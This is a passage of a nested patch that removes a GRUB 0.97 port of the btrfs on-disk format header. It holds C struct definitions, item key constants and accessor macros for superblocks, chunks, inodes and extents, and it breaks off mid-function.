-+        __le64 start_offset; /* of the partition on a device */
-+
-+       /* info for allocation decisions */
-+       __le32 dev_group;
-+
-+        u8 seek_speed; /* 0-100 (100 is fastest) */
-+       u8 bandwidth;  /* 0-100 (100 is fastest) */
-+
-+        u8 uuid[BTRFS_UUID_SIZE]; /* dev uuid generated by btrfs */
-+       u8 fsid[BTRFS_UUID_SIZE]; /* uuid of the host FS */
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_stripe {
-+       __le64 devid;
-+       __le64 offset;
-+       u8 dev_uuid[BTRFS_UUID_SIZE];
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_chunk {
-+       /* size of this chunk in bytes */
-+       __le64 length;
-+       __le64 owner; /* objectid of the root referincing this chunk */
-+       __le64 stripe_len;
-+       __le64 type;
-+       __le32 io_align; /* optimal io alignment for this chunk */
-+       __le32 io_width; /* optimal io width for this chunk */
-+       __le32 sector_size; /* minimal io size for this chunk */
-+       __le16 num_stripes;
-+       __le16 sub_stripes; /* sub stripes (for raid10) */
-+       struct btrfs_stripe stripe;
-+} __attribute__ ((__packed__));
-+
-+static inline unsigned long btrfs_chunk_item_size(int num_stripes)
-+{
-+       return sizeof(struct btrfs_chunk) +
-+               sizeof(struct btrfs_stripe) * (num_stripes - 1);
-+}
-+
-+#define BTRFS_FSID_SIZE 16
-+#define BTRFS_HEADER_FLAG_WRITTEN (1 << 0)
-+
-+struct btrfs_header {
-+       /* these first four must match the super block */
-+       u8 csum[BTRFS_CSUM_SIZE];
-+       u8 fsid[BTRFS_FSID_SIZE]; /* uuid of the host fs */
-+       __le64 bytenr; /* which block this node is supposed to live in */
-+       __le64 flags;
-+
-+       /* allowed to be different from the super from here on down */
-+       u8 chunk_tree_uuid[BTRFS_UUID_SIZE];
-+       __le64 generation;
-+       __le64 owner;
-+       __le32 nritems;
-+       u8 level;
-+} __attribute__ ((__packed__));
-+
-+#define BTRFS_NODEPTRS_PER_BLOCK(r) (((r)->nodesize - \
-+                               sizeof(struct btrfs_header)) / \
-+                               sizeof(struct btrfs_key_ptr))
-+#define __BTRFS_LEAF_DATA_SIZE(bs) ((bs) - sizeof(struct btrfs_header))
-+#define BTRFS_LEAF_DATA_SIZE(r) (__BTRFS_LEAF_DATA_SIZE(r->leafsize))
-+#define BTRFS_MAX_INLINE_DATA_SIZE(r) (BTRFS_LEAF_DATA_SIZE(r) - \
-+                                       sizeof(struct btrfs_item) - \
-+                                       sizeof(struct btrfs_file_extent_item))
-+
-+#define BTRFS_SUPER_FLAG_SEEDING       (1ULL << 32)
-+#define BTRFS_SUPER_FLAG_METADUMP      (1ULL << 33)
-+
-+/*
-+ * a portion of superblock which is used
-+ * for chunk translation (up to 14 chunks
-+ * with 3 stripes each.
-+ */
-+#define BTRFS_SYSTEM_CHUNK_ARRAY_SIZE 2048
-+#define BTRFS_LABEL_SIZE 256
-+
-+/*
-+ * the super block basically lists the main trees of the FS
-+ * it currently lacks any block count etc etc
-+ */
-+
-+struct btrfs_super_block {
-+       u8 csum[BTRFS_CSUM_SIZE];
-+       /* the first 3 fields must match struct btrfs_header */
-+       u8 fsid[BTRFS_FSID_SIZE];    /* FS specific uuid */
-+       __le64 bytenr; /* this block number */
-+       __le64 flags;
-+
-+       /* allowed to be different from the btrfs_header from here own down */
-+       __le64 magic;
-+       __le64 generation;
-+       __le64 root;        /* tree root */
-+       __le64 chunk_root;
-+       __le64 log_root;
-+
-+       /* this will help find the new super based on the log root */
-+       __le64 log_root_transid;
-+       __le64 total_bytes;
-+       __le64 bytes_used;
-+       __le64 root_dir_objectid;
-+       __le64 num_devices;
-+       __le32 sectorsize;
-+       __le32 nodesize;
-+       __le32 leafsize;
-+       __le32 stripesize;
-+       __le32 sys_chunk_array_size;
-+       __le64 chunk_root_generation;
-+       __le64 compat_flags;
-+       __le64 compat_ro_flags;
-+       __le64 incompat_flags;
-+       __le16 csum_type;
-+       u8 root_level;
-+       u8 chunk_root_level;
-+       u8 log_root_level;
-+       struct btrfs_dev_item dev_item;
-+
-+       char label[BTRFS_LABEL_SIZE];
-+
-+       /* future expansion */
-+       __le64 reserved[32];
-+       u8 sys_chunk_array[BTRFS_SYSTEM_CHUNK_ARRAY_SIZE];
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * Compat flags that we support.  If any incompat flags are set other than the
-+ * ones specified below then we will fail to mount
-+ */
-+#define BTRFS_FEATURE_COMPAT_SUPP      0x0
-+#define BTRFS_FEATURE_COMPAT_RO_SUPP   0x0
-+#define BTRFS_FEATURE_INCOMPAT_SUPP    0x0
-+
-+/* Item header for per-leaf lookup */
-+struct btrfs_item {
-+       struct btrfs_disk_key key;
-+       __le32 offset;
-+       __le32 size;
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * Format of the leaves:
-+ * [item0, item1....itemN] [free space] [dataN...data1, data0]
-+ */
-+struct btrfs_leaf {
-+       struct btrfs_header header;
-+       struct btrfs_item items[];
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * keys-pointers pairs for per-node (non-leaf) lookup
-+ */
-+struct btrfs_key_ptr {
-+       struct btrfs_disk_key key;
-+       __le64 blockptr;
-+       __le64 generation;
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_node {
-+       struct btrfs_header header;
-+       struct btrfs_key_ptr ptrs[];
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_device {
-+	/* the internal btrfs device id */
-+	u64 devid;
-+	/* the internal grub device representation */
-+	unsigned long drive;
-+	unsigned long part;
-+	unsigned long length;
-+};
-+
-+struct extent_buffer {
-+       /* metadata */
-+       struct btrfs_device dev;
-+       u64 start;
-+       u64 dev_bytenr;
-+       u32 len;
-+       /* data */
-+       char *data;
-+};
-+
-+static inline void read_extent_buffer(struct extent_buffer *eb,
-+                                     void *dst, unsigned long start,
-+                                     unsigned long len)
-+{
-+       memcpy(dst, eb->data + start, len);
-+}
-+
-+static inline void write_extent_buffer(struct extent_buffer *eb,
-+                                      const void *src, unsigned long start,
-+                                      unsigned long len)
-+{
-+       memcpy(eb->data + start, src, len);
-+}
-+
-+/*
-+ * NOTE:
-+ * don't increase a number of levels for grub-0.97!
-+ */
-+typedef enum {
-+       FIRST_EXTERNAL_LOOKUP_POOL,
-+       SECOND_EXTERNAL_LOOKUP_POOL,
-+       INTERNAL_LOOKUP_POOL,
-+       LAST_LOOKUP_POOL
-+} lookup_pool_id;
-+
-+/*             Relationship between lookup pools:
-+ *  depth
-+ *
-+ *    ^             +----> INTERNAL <----+
-+ *    |             |                    |
-+ *    |             |                    |
-+ *    -        FIRST_EXTERNAL     SECOND_EXTERNAL
-+ */
-+
-+struct btrfs_path {
-+       lookup_pool_id lpid;
-+       struct extent_buffer nodes[BTRFS_MAX_LEVEL];
-+       int slots[BTRFS_MAX_LEVEL];
-+};
-+
-+/*
-+ * items in the extent btree are used to record the objectid of the
-+ * owner of the block and the number of references
-+ */
-+struct btrfs_extent_item {
-+       __le32 refs;
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_extent_ref {
-+       __le64 root;
-+       __le64 generation;
-+       __le64 objectid;
-+       __le32 num_refs;
-+} __attribute__ ((__packed__));
-+
-+/* dev extents record free space on individual devices.  The owner
-+ * field points back to the chunk allocation mapping tree that allocated
-+ * the extent.  The chunk tree uuid field is a way to double check the owner
-+ */
-+struct btrfs_dev_extent {
-+       __le64 chunk_tree;
-+       __le64 chunk_objectid;
-+       __le64 chunk_offset;
-+       __le64 length;
-+       u8 chunk_tree_uuid[BTRFS_UUID_SIZE];
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_inode_ref {
-+       __le64 index;
-+       __le16 name_len;
-+       /* name goes here */
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_timespec {
-+       __le64 sec;
-+       __le32 nsec;
-+} __attribute__ ((__packed__));
-+
-+typedef enum {
-+       BTRFS_COMPRESS_NONE = 0,
-+       BTRFS_COMPRESS_ZLIB = 1,
-+       BTRFS_COMPRESS_LAST = 2,
-+} btrfs_compression_type;
-+
-+/* we don't understand any encryption methods right now */
-+typedef enum {
-+       BTRFS_ENCRYPTION_NONE = 0,
-+       BTRFS_ENCRYPTION_LAST = 1,
-+} btrfs_encryption_type;
-+
-+struct btrfs_inode_item {
-+       /* nfs style generation number */
-+       __le64 generation;
-+       /* transid that last touched this inode */
-+       __le64 transid;
-+       __le64 size;
-+       __le64 nbytes;
-+       __le64 block_group;
-+       __le32 nlink;
-+       __le32 uid;
-+       __le32 gid;
-+       __le32 mode;
-+       __le64 rdev;
-+       __le64 flags;
-+
-+       /* modification sequence number for NFS */
-+       __le64 sequence;
-+
-+       /*
-+        * a little future expansion, for more than this we can
-+        * just grow the inode item and version it
-+        */
-+       __le64 reserved[4];
-+       struct btrfs_timespec atime;
-+       struct btrfs_timespec ctime;
-+       struct btrfs_timespec mtime;
-+       struct btrfs_timespec otime;
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_dir_item {
-+       struct btrfs_disk_key location;
-+       __le64 transid;
-+       __le16 data_len;
-+       __le16 name_len;
-+       u8 type;
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_root_item {
-+       struct btrfs_inode_item inode;
-+       __le64 generation;
-+       __le64 root_dirid;
-+       __le64 bytenr;
-+       __le64 byte_limit;
-+       __le64 bytes_used;
-+       __le64 last_snapshot;
-+       __le64 flags;
-+       __le32 refs;
-+       struct btrfs_disk_key drop_progress;
-+       u8 drop_level;
-+       u8 level;
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * this is used for both forward and backward root refs
-+ */
-+struct btrfs_root_ref {
-+       __le64 dirid;
-+       __le64 sequence;
-+       __le16 name_len;
-+} __attribute__ ((__packed__));
-+
-+#define BTRFS_FILE_EXTENT_INLINE 0
-+#define BTRFS_FILE_EXTENT_REG 1
-+#define BTRFS_FILE_EXTENT_PREALLOC 2
-+
-+struct btrfs_file_extent_item {
-+       /*
-+        * transaction id that created this extent
-+        */
-+       __le64 generation;
-+       /*
-+        * max number of bytes to hold this extent in ram
-+        * when we split a compressed extent we can't know how big
-+        * each of the resulting pieces will be.  So, this is
-+        * an upper limit on the size of the extent in ram instead of
-+        * an exact limit.
-+        */
-+       __le64 ram_bytes;
-+
-+       /*
-+        * 32 bits for the various ways we might encode the data,
-+        * including compression and encryption.  If any of these
-+        * are set to something a given disk format doesn't understand
-+        * it is treated like an incompat flag for reading and writing,
-+        * but not for stat.
-+        */
-+       u8 compression;
-+       u8 encryption;
-+       __le16 other_encoding; /* spare for later use */
-+
-+       /* are we inline data or a real extent? */
-+       u8 type;
-+
-+       /*
-+        * disk space consumed by the extent, checksum blocks are included
-+        * in these numbers
-+        */
-+       __le64 disk_bytenr;
-+       __le64 disk_num_bytes;
-+       /*
-+        * the logical offset in file blocks (no csums)
-+        * this extent record is for.  This allows a file extent to point
-+        * into the middle of an existing extent on disk, sharing it
-+        * between two snapshots (useful if some bytes in the middle of the
-+        * extent have changed
-+        */
-+       __le64 offset;
-+       /*
-+        * the logical number of file blocks (no csums included)
-+        */
-+       __le64 num_bytes;
-+
-+} __attribute__ ((__packed__));
-+
-+struct btrfs_csum_item {
-+       u8 csum;
-+} __attribute__ ((__packed__));
-+
-+/* tag for the radix tree of block groups in ram */
-+#define BTRFS_BLOCK_GROUP_DATA     (1 << 0)
-+#define BTRFS_BLOCK_GROUP_SYSTEM   (1 << 1)
-+#define BTRFS_BLOCK_GROUP_METADATA (1 << 2)
-+#define BTRFS_BLOCK_GROUP_RAID0    (1 << 3)
-+#define BTRFS_BLOCK_GROUP_RAID1    (1 << 4)
-+#define BTRFS_BLOCK_GROUP_DUP     (1 << 5)
-+#define BTRFS_BLOCK_GROUP_RAID10   (1 << 6)
-+
-+struct btrfs_block_group_item {
-+       __le64 used;
-+       __le64 chunk_objectid;
-+       __le64 flags;
-+} __attribute__ ((__packed__));
-+
-+/*
-+ * in ram representation of the tree.  extent_root is used for all allocations
-+ * and for the extent tree extent_root root.
-+ */
-+struct btrfs_root {
-+       struct extent_buffer   node;
-+       char                   data[4096];
-+       struct btrfs_root_item root_item;
-+       u64 objectid;
-+       
-+       /* data allocations are done in sectorsize units */
-+       u32 sectorsize;
-+
-+       /* node allocations are done in nodesize units */
-+       u32 nodesize;
-+
-+       /* leaf allocations are done in leafsize units */
-+       u32 leafsize;
-+
-+       /* leaf allocations are done in leafsize units */
-+       u32 stripesize;
-+};
-+
-+struct btrfs_file_info {
-+	struct btrfs_key key;
-+};
-+
-+struct btrfs_root;
-+struct btrfs_fs_devices;
-+struct btrfs_fs_info {
-+       u8 fsid[BTRFS_FSID_SIZE];
-+       struct btrfs_root fs_root;
-+       struct btrfs_root tree_root;
-+       struct btrfs_root chunk_root;
-+
-+       struct btrfs_file_info file_info; /* currently opened file */
-+       struct btrfs_path paths [LAST_LOOKUP_POOL];
-+
-+       char mbr[SECTOR_SIZE];
-+
-+       int sb_mirror;
-+       u64 sb_transid;
-+       struct btrfs_device sb_dev;
-+       struct btrfs_super_block sb_copy;
-+
-+       struct btrfs_device devices[BTRFS_NUM_CACHED_DEVICES + 1];
-+};
-+
-+/*
-+ * inode items have the data typically returned from stat and store other
-+ * info about object characteristics.  There is one for every file and dir in
-+ * the FS
-+ */
-+#define BTRFS_INODE_ITEM_KEY           1
-+#define BTRFS_INODE_REF_KEY            12
-+#define BTRFS_XATTR_ITEM_KEY           24
-+#define BTRFS_ORPHAN_ITEM_KEY          48
-+
-+#define BTRFS_DIR_LOG_ITEM_KEY  60
-+#define BTRFS_DIR_LOG_INDEX_KEY 72
-+/*
-+ * dir items are the name -> inode pointers in a directory.  There is one
-+ * for every name in a directory.
-+ */
-+#define BTRFS_DIR_ITEM_KEY     84
-+#define BTRFS_DIR_INDEX_KEY    96
-+
-+/*
-+ * extent data is for file data
-+ */
-+#define BTRFS_EXTENT_DATA_KEY  108
-+
-+/*
-+ * csum items have the checksums for data in the extents
-+ */
-+#define BTRFS_CSUM_ITEM_KEY    120
-+/*
-+ * extent csums are stored in a separate tree and hold csums for
-+ * an entire extent on disk.
-+ */
-+#define BTRFS_EXTENT_CSUM_KEY  128
-+
-+/*
-+ * root items point to tree roots.  There are typically in the root
-+ * tree used by the super block to find all the other trees
-+ */
-+#define BTRFS_ROOT_ITEM_KEY    132
-+
-+/*
-+ * root backrefs tie subvols and snapshots to the directory entries that
-+ * reference them
-+ */
-+#define BTRFS_ROOT_BACKREF_KEY 144
-+
-+/*
-+ * root refs make a fast index for listing all of the snapshots and
-+ * subvolumes referenced by a given root.  They point directly to the
-+ * directory item in the root that references the subvol
-+ */
-+#define BTRFS_ROOT_REF_KEY     156
-+
-+/*
-++ * extent items are in the extent map tree.  These record which blocks
-++ * are used, and how many references there are to each block
-++ */
-+#define BTRFS_EXTENT_ITEM_KEY  168
-+#define BTRFS_EXTENT_REF_KEY   180
-+
-+/*
-+ * block groups give us hints into the extent allocation trees.  Which
-+ * blocks are free etc etc
-+ */
-+#define BTRFS_BLOCK_GROUP_ITEM_KEY 192
-+
-+#define BTRFS_DEV_EXTENT_KEY   204
-+#define BTRFS_DEV_ITEM_KEY     216
-+#define BTRFS_CHUNK_ITEM_KEY   228
-+
-+/*
-+ * string items are for debugging.  They just store a short string of
-+ * data in the FS
-+ */
-+#define BTRFS_STRING_ITEM_KEY  253
-+/*
-+ * Inode flags
-+ */
-+#define BTRFS_INODE_NODATASUM          (1 << 0)
-+#define BTRFS_INODE_NODATACOW          (1 << 1)
-+#define BTRFS_INODE_READONLY           (1 << 2)
-+
-+#define read_eb_member(eb, ptr, type, member, result) (                        \
-+       read_extent_buffer(eb, (char *)(result),                        \
-+                          ((unsigned long)(ptr)) +                     \
-+                           offsetof(type, member),                     \
-+                          sizeof(((type *)0)->member)))
-+
-+#define BTRFS_SETGET_HEADER_FUNCS(name, type, member, bits)            \
-+static inline u##bits btrfs_##name(struct extent_buffer *eb)           \
-+{                                                                      \
-+       struct btrfs_header *h = (struct btrfs_header *)eb->data;       \
-+       return le##bits##_to_cpu(h->member);                            \
-+}                                                                      \
-+static inline void btrfs_set_##name(struct extent_buffer *eb,          \
-+                                   u##bits val)                        \
-+{                                                                      \
-+       struct btrfs_header *h = (struct btrfs_header *)eb->data;       \
-+       h->member = cpu_to_le##bits(val);                               \
-+}
-+
-+#define BTRFS_SETGET_FUNCS(name, type, member, bits)                   \
-+static inline u##bits btrfs_##name(struct extent_buffer *eb,           \
-+                                  type *s)                             \
-+{                                                                      \
-+       unsigned long offset = (unsigned long)s;                        \
-+       type *p = (type *) (eb->data + offset);                         \
-+       return le##bits##_to_cpu(p->member);                            \
-+}                                                                      \
-+static inline void btrfs_set_##name(struct extent_buffer *eb,          \
-+                                   type *s, u##bits val)               \
-+{                                                                      \
-+       unsigned long offset = (unsigned long)s;                        \
-+       type *p = (type *) (eb->data + offset);                         \
-+       p->member = cpu_to_le##bits(val);                               \
-+}
-+
-+#define BTRFS_SETGET_STACK_FUNCS(name, type, member, bits)             \
-+static inline u##bits btrfs_##name(type *s)                            \
-+{                                                                      \
-+       return le##bits##_to_cpu(s->member);                            \
-+}                                                                      \
-+static inline void btrfs_set_##name(type *s, u##bits val)              \
-+{                                                                      \
-+       s->member = cpu_to_le##bits(val);                               \
-+}
-+
-+BTRFS_SETGET_FUNCS(device_type, struct btrfs_dev_item, type, 64);
-+BTRFS_SETGET_FUNCS(device_total_bytes, struct btrfs_dev_item, total_bytes, 64);
-+BTRFS_SETGET_FUNCS(device_bytes_used, struct btrfs_dev_item, bytes_used, 64);
-+BTRFS_SETGET_FUNCS(device_io_align, struct btrfs_dev_item, io_align, 32);
-+BTRFS_SETGET_FUNCS(device_io_width, struct btrfs_dev_item, io_width, 32);
-+BTRFS_SETGET_FUNCS(device_start_offset, struct btrfs_dev_item,
-+                  start_offset, 64);
-+BTRFS_SETGET_FUNCS(device_sector_size, struct btrfs_dev_item, sector_size, 32);
-+BTRFS_SETGET_FUNCS(device_id, struct btrfs_dev_item, devid, 64);
-+BTRFS_SETGET_FUNCS(device_group, struct btrfs_dev_item, dev_group, 32);
-+BTRFS_SETGET_FUNCS(device_seek_speed, struct btrfs_dev_item, seek_speed, 8);
-+BTRFS_SETGET_FUNCS(device_bandwidth, struct btrfs_dev_item, bandwidth, 8);
-+BTRFS_SETGET_FUNCS(device_generation, struct btrfs_dev_item, generation, 64);
-+
-+BTRFS_SETGET_STACK_FUNCS(stack_device_type, struct btrfs_dev_item, type, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_total_bytes, struct btrfs_dev_item,
-+                        total_bytes, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_bytes_used, struct btrfs_dev_item,
-+                        bytes_used, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_io_align, struct btrfs_dev_item,
-+                        io_align, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_io_width, struct btrfs_dev_item,
-+                        io_width, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_sector_size, struct btrfs_dev_item,
-+                        sector_size, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_id, struct btrfs_dev_item, devid, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_group, struct btrfs_dev_item,
-+                        dev_group, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_seek_speed, struct btrfs_dev_item,
-+                        seek_speed, 8);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_bandwidth, struct btrfs_dev_item,
-+                        bandwidth, 8);
-+BTRFS_SETGET_STACK_FUNCS(stack_device_generation, struct btrfs_dev_item,
-+                        generation, 64);
-+
-+static inline char *btrfs_device_uuid(struct btrfs_dev_item *d)
-+{
-+       return (char *)d + offsetof(struct btrfs_dev_item, uuid);
-+}
-+
-+static inline char *btrfs_device_fsid(struct btrfs_dev_item *d)
-+{
-+       return (char *)d + offsetof(struct btrfs_dev_item, fsid);
-+}
-+
-+BTRFS_SETGET_FUNCS(chunk_length, struct btrfs_chunk, length, 64);
-+BTRFS_SETGET_FUNCS(chunk_owner, struct btrfs_chunk, owner, 64);
-+BTRFS_SETGET_FUNCS(chunk_stripe_len, struct btrfs_chunk, stripe_len, 64);
-+BTRFS_SETGET_FUNCS(chunk_io_align, struct btrfs_chunk, io_align, 32);
-+BTRFS_SETGET_FUNCS(chunk_io_width, struct btrfs_chunk, io_width, 32);
-+BTRFS_SETGET_FUNCS(chunk_sector_size, struct btrfs_chunk, sector_size, 32);
-+BTRFS_SETGET_FUNCS(chunk_type, struct btrfs_chunk, type, 64);
-+BTRFS_SETGET_FUNCS(chunk_num_stripes, struct btrfs_chunk, num_stripes, 16);
-+BTRFS_SETGET_FUNCS(chunk_sub_stripes, struct btrfs_chunk, sub_stripes, 16);
-+BTRFS_SETGET_FUNCS(stripe_devid, struct btrfs_stripe, devid, 64);
-+BTRFS_SETGET_FUNCS(stripe_offset, struct btrfs_stripe, offset, 64);
-+
-+static inline char *btrfs_stripe_dev_uuid(struct btrfs_stripe *s)
-+{
-+       return (char *)s + offsetof(struct btrfs_stripe, dev_uuid);
-+}
-+
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_length, struct btrfs_chunk, length, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_owner, struct btrfs_chunk, owner, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_stripe_len, struct btrfs_chunk,
-+                        stripe_len, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_io_align, struct btrfs_chunk,
-+                        io_align, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_io_width, struct btrfs_chunk,
-+                        io_width, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_sector_size, struct btrfs_chunk,
-+                        sector_size, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_type, struct btrfs_chunk, type, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_num_stripes, struct btrfs_chunk,
-+                        num_stripes, 16);
-+BTRFS_SETGET_STACK_FUNCS(stack_chunk_sub_stripes, struct btrfs_chunk,
-+                        sub_stripes, 16);
-+BTRFS_SETGET_STACK_FUNCS(stack_stripe_devid, struct btrfs_stripe, devid, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_stripe_offset, struct btrfs_stripe, offset, 64);
-+
-+static inline struct btrfs_stripe *btrfs_stripe_nr(struct btrfs_chunk *c,
-+                                                  int nr)
-+{
-+       unsigned long offset = (unsigned long)c;
-+       offset += offsetof(struct btrfs_chunk, stripe);
-+       offset += nr * sizeof(struct btrfs_stripe);
-+       return (struct btrfs_stripe *)offset;
-+}
-+
-+static inline char *btrfs_stripe_dev_uuid_nr(struct btrfs_chunk *c, int nr)
-+{
-+       return btrfs_stripe_dev_uuid(btrfs_stripe_nr(c, nr));
-+}
-+
-+static inline u64 btrfs_stripe_offset_nr(struct extent_buffer *eb,
-+                                        struct btrfs_chunk *c, int nr)
-+{
-+       return btrfs_stripe_offset(eb, btrfs_stripe_nr(c, nr));
-+}
-+
-+static inline void btrfs_set_stripe_offset_nr(struct extent_buffer *eb,
-+                                            struct btrfs_chunk *c, int nr,
-+                                            u64 val)
-+{
-+       btrfs_set_stripe_offset(eb, btrfs_stripe_nr(c, nr), val);
-+}
-+
-+static inline u64 btrfs_stripe_devid_nr(struct extent_buffer *eb,
-+                                        struct btrfs_chunk *c, int nr)
-+{
-+       return btrfs_stripe_devid(eb, btrfs_stripe_nr(c, nr));
-+}
-+
-+static inline void btrfs_set_stripe_devid_nr(struct extent_buffer *eb,
-+                                            struct btrfs_chunk *c, int nr,
-+                                            u64 val)
-+{
-+       btrfs_set_stripe_devid(eb, btrfs_stripe_nr(c, nr), val);
-+}
-+
-+/* struct btrfs_block_group_item */
-+BTRFS_SETGET_STACK_FUNCS(block_group_used, struct btrfs_block_group_item,
-+                        used, 64);
-+BTRFS_SETGET_FUNCS(disk_block_group_used, struct btrfs_block_group_item,
-+                        used, 64);
-+BTRFS_SETGET_STACK_FUNCS(block_group_chunk_objectid,
-+                       struct btrfs_block_group_item, chunk_objectid, 64);
-+
-+BTRFS_SETGET_FUNCS(disk_block_group_chunk_objectid,
-+                  struct btrfs_block_group_item, chunk_objectid, 64);
-+BTRFS_SETGET_FUNCS(disk_block_group_flags,
-+                  struct btrfs_block_group_item, flags, 64);
-+BTRFS_SETGET_STACK_FUNCS(block_group_flags,
-+                       struct btrfs_block_group_item, flags, 64);
-+
-+/* struct btrfs_inode_ref */
-+BTRFS_SETGET_FUNCS(inode_ref_name_len, struct btrfs_inode_ref, name_len, 16);
-+BTRFS_SETGET_FUNCS(inode_ref_index, struct btrfs_inode_ref, index, 64);
-+
-+/* struct btrfs_inode_item */
-+BTRFS_SETGET_FUNCS(inode_generation, struct btrfs_inode_item, generation, 64);
-+BTRFS_SETGET_FUNCS(inode_sequence, struct btrfs_inode_item, sequence, 64);
-+BTRFS_SETGET_FUNCS(inode_transid, struct btrfs_inode_item, transid, 64);
-+BTRFS_SETGET_FUNCS(inode_size, struct btrfs_inode_item, size, 64);
-+BTRFS_SETGET_FUNCS(inode_nbytes, struct btrfs_inode_item, nbytes, 64);
-+BTRFS_SETGET_FUNCS(inode_block_group, struct btrfs_inode_item, block_group, 64);
-+BTRFS_SETGET_FUNCS(inode_nlink, struct btrfs_inode_item, nlink, 32);
-+BTRFS_SETGET_FUNCS(inode_uid, struct btrfs_inode_item, uid, 32);
-+BTRFS_SETGET_FUNCS(inode_gid, struct btrfs_inode_item, gid, 32);
-+BTRFS_SETGET_FUNCS(inode_mode, struct btrfs_inode_item, mode, 32);
-+BTRFS_SETGET_FUNCS(inode_rdev, struct btrfs_inode_item, rdev, 64);
-+BTRFS_SETGET_FUNCS(inode_flags, struct btrfs_inode_item, flags, 64);
-+
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_generation,
-+                        struct btrfs_inode_item, generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_sequence,
-+                        struct btrfs_inode_item, generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_size,
-+                        struct btrfs_inode_item, size, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_nbytes,
-+                        struct btrfs_inode_item, nbytes, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_block_group,
-+                        struct btrfs_inode_item, block_group, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_nlink,
-+                        struct btrfs_inode_item, nlink, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_uid,
-+                        struct btrfs_inode_item, uid, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_gid,
-+                        struct btrfs_inode_item, gid, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_mode,
-+                        struct btrfs_inode_item, mode, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_rdev,
-+                        struct btrfs_inode_item, rdev, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_inode_flags,
-+                        struct btrfs_inode_item, flags, 64);
-+
-+BTRFS_SETGET_FUNCS(timespec_sec, struct btrfs_timespec, sec, 64);
-+BTRFS_SETGET_FUNCS(timespec_nsec, struct btrfs_timespec, nsec, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_timespec_sec, struct btrfs_timespec,
-+                        sec, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_timespec_nsec, struct btrfs_timespec,
-+                        nsec, 32);
-+
-+/* struct btrfs_dev_extent */
-+BTRFS_SETGET_FUNCS(dev_extent_chunk_tree, struct btrfs_dev_extent,
-+                  chunk_tree, 64);
-+BTRFS_SETGET_FUNCS(dev_extent_chunk_objectid, struct btrfs_dev_extent,
-+                  chunk_objectid, 64);
-+BTRFS_SETGET_FUNCS(dev_extent_chunk_offset, struct btrfs_dev_extent,
-+                  chunk_offset, 64);
-+BTRFS_SETGET_FUNCS(dev_extent_length, struct btrfs_dev_extent, length, 64);
-+
-+static inline u8 *btrfs_dev_extent_chunk_tree_uuid(struct btrfs_dev_extent *dev)
-+{
-+       unsigned long ptr = offsetof(struct btrfs_dev_extent, chunk_tree_uuid);
-+       return (u8 *)((unsigned long)dev + ptr);
-+}
-+
-+/* struct btrfs_extent_ref */
-+BTRFS_SETGET_FUNCS(ref_root, struct btrfs_extent_ref, root, 64);
-+BTRFS_SETGET_FUNCS(ref_generation, struct btrfs_extent_ref, generation, 64);
-+BTRFS_SETGET_FUNCS(ref_objectid, struct btrfs_extent_ref, objectid, 64);
-+BTRFS_SETGET_FUNCS(ref_num_refs, struct btrfs_extent_ref, num_refs, 32);
-+
-+BTRFS_SETGET_STACK_FUNCS(stack_ref_root, struct btrfs_extent_ref, root, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_ref_generation, struct btrfs_extent_ref,
-+                        generation, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_ref_objectid, struct btrfs_extent_ref,
-+                        objectid, 64);
-+BTRFS_SETGET_STACK_FUNCS(stack_ref_num_refs, struct btrfs_extent_ref,
-+                        num_refs, 32);
-+
-+/* struct btrfs_extent_item */
-+BTRFS_SETGET_FUNCS(extent_refs, struct btrfs_extent_item, refs, 32);
-+BTRFS_SETGET_STACK_FUNCS(stack_extent_refs, struct btrfs_extent_item,
-+                        refs, 32);
-+
-+/* struct btrfs_node */
-+BTRFS_SETGET_FUNCS(key_blockptr, struct btrfs_key_ptr, blockptr, 64);
-+BTRFS_SETGET_FUNCS(key_generation, struct btrfs_key_ptr, generation, 64);
-+
-+static inline u64 btrfs_node_blockptr(struct extent_buffer *eb, int nr)
-+{
-+       unsigned long ptr;
-+       ptr = offsetof(struct btrfs_node, ptrs) +
-+               sizeof(struct btrfs_key_ptr) * nr;
